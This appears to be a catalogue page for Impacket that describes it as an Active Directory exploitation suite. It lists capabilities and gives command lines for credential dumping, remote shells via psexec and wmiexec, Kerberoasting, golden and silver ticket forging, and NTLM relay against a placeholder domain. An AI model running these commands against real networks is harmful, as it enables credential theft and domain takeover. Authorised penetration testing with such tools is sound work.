security enabled verified high v1.0.0

impacket

Collection of Python classes and scripts for working with network protocols and Windows AD, including secretsdump, psexec, wmiexec, kerberoast, and NTLM relay tools.

📋 Live Preview
impacket-{script} {target}
๐Ÿ“Ž script ๐ŸŒ target โ†’ ip
impacket-{script} {target}

Sandbox: execFile · Timeout: 300s

Capabilities

security.credential.dump.ntds
security.credential.dump.sam
security.credential.dump.lsa
security.lateral.psexec
security.lateral.wmiexec
security.lateral.smbexec
security.lateral.atexec
security.ad.asreproast
security.ad.kerberoast
security.ad.goldenticket
security.ad.silverticket
security.ad.ntlmrelay
security.ad.enum.users
security.ad.enum.shares
security.ad.laps
security.ad.rbcd
security.ad.coerce
security.ad.rpcdump
security.ad.samrdump

Parameters

Name Type Required Default Description Aliases
script string Yes - Impacket script name (secretsdump, psexec, wmiexec, etc.) -
target string Yes - Target in format user:pass@ip or domain/user:hash@ip -
action string No - Script-specific action or mode -

Contract

Inputs

network.target.ip

Target IP address or domain controller

credential.username

Domain username

credential.password

Plaintext password or NTLM hash

Outputs

security.credential.dump

Extracted hashes, plaintext, and tickets

security.shell.session

Remote shell session (psexec/wmiexec/etc)

Side effects: network_trafficprocess_spawnfilesystem_write

Workflow Edges

Produces

security.credential.dumpsecurity.shell.session

Consumes

network.target.ipcredential.usernamecredential.password

Resource Profile

ResourceValue
CPUlow
Memory128 MB
Networkmedium
Disk I/Olow

Examples

Dump all domain credentials from NTDS.dit

impacket-secretsdump -just-dc-ntlm evilcorp.local/administrator:Pass123@10.10.10.1

Dump NTDS.dit with NTLM hash authentication

impacket-secretsdump -ntds ntds.dit -system SYSTEM.hive LOCAL

Remote SAM hive dump

impacket-secretsdump -sam SAM.hive -system SYSTEM.hive LOCAL

Psexec interactive shell

impacket-psexec evilcorp.local/administrator:Pass123@10.10.10.1

WMI exec (less noisy than psexec)

impacket-wmiexec evilcorp.local/administrator:Pass123@10.10.10.1

SMB exec via Windows SMB shares

impacket-smbexec evilcorp.local/administrator:Pass123@10.10.10.1

Schedule task execution via at.exe / schtasks

impacket-atexec evilcorp.local/administrator:Pass123@10.10.10.1 whoami

AS-REP roasting โ€” find users without pre-authentication

impacket-GetNPUsers -dc-ip 10.10.10.1 -request evilcorp.local/user

Kerberoasting โ€” request TGS for service accounts

impacket-GetUserSPNs -dc-ip 10.10.10.1 -request evilcorp.local/user:Pass123

Get TGT for a user

impacket-getTGT evilcorp.local/user:Pass123 -dc-ip 10.10.10.1

Get service ticket (ST) for impersonation

impacket-getST -dc-ip 10.10.10.1 -spn cifs/target.evilcorp.local evilcorp.local/user:Pass123

Golden ticket โ€” forge KRBTGT ticket

impacket-ticketer -nthashes <KRBTGT_HASH> -domain-sid <DOMAIN_SID> -domain evilcorp.local administrator

Silver ticket โ€” forge service ticket

impacket-ticketer -nthashes <SERVICE_HASH> -domain-sid <DOMAIN_SID> -domain evilcorp.local -spn cifs/target.evilcorp.local administrator

NTLM relay with ntlmrelayx (capture + relay)

impacket-ntlmrelayx -tf targets.txt -smb2support -socks

NTLM relay to LDAP for RBCD

impacket-ntlmrelayx -t ldap://10.10.10.1 -smb2support --delegate-access

Enumerate users via SAMR protocol

impacket-samrdump -samr 10.10.10.1

Enumerate users via LookupSID

impacket-lookupsid evilcorp.local/administrator:Pass123@10.10.10.1

RPC endpoint mapper dump

impacket-rpcdump 10.10.10.1

SMB client interactive shell

impacket-smbclient evilcorp.local/administrator:Pass123@10.10.10.1

DCOM execution via MMC20.Application

impacket-dcomexec evilcorp.local/administrator:Pass123@10.10.10.1

LAPS password reader

impacket-GetLAPSPasswords -dc-ip 10.10.10.1 evilcorp.local/user:Pass123

Add computer to domain (ESC1 machine account)

impacket-addcomputer -computer-name 'FAKECOMP$' -computer-pass 'FakePass123' -dc-ip 10.10.10.1 evilcorp.local/user:Pass123

Documentation

Impacket โ€” AD Exploitation Suite

Impacket is a collection of Python classes for working with network protocols and a suite of executable scripts covering nearly every aspect of Active Directory assessment.

Key Scripts

Category Scripts
Credential Dumping secretsdump, lsadump, samrdump
Remote Execution psexec, wmiexec, smbexec, atexec, dcomexec
Kerberos GetNPUsers, GetUserSPNs, getTGT, getST, ticketer
Relay ntlmrelayx, smbrelayx
Enumeration lookupsid, rpcdump, smbclient, reg
AD CS addcomputer, GetLAPSPasswords

Dependencies

python3

Related Tools

netexecbloodhoundevil-winrm

References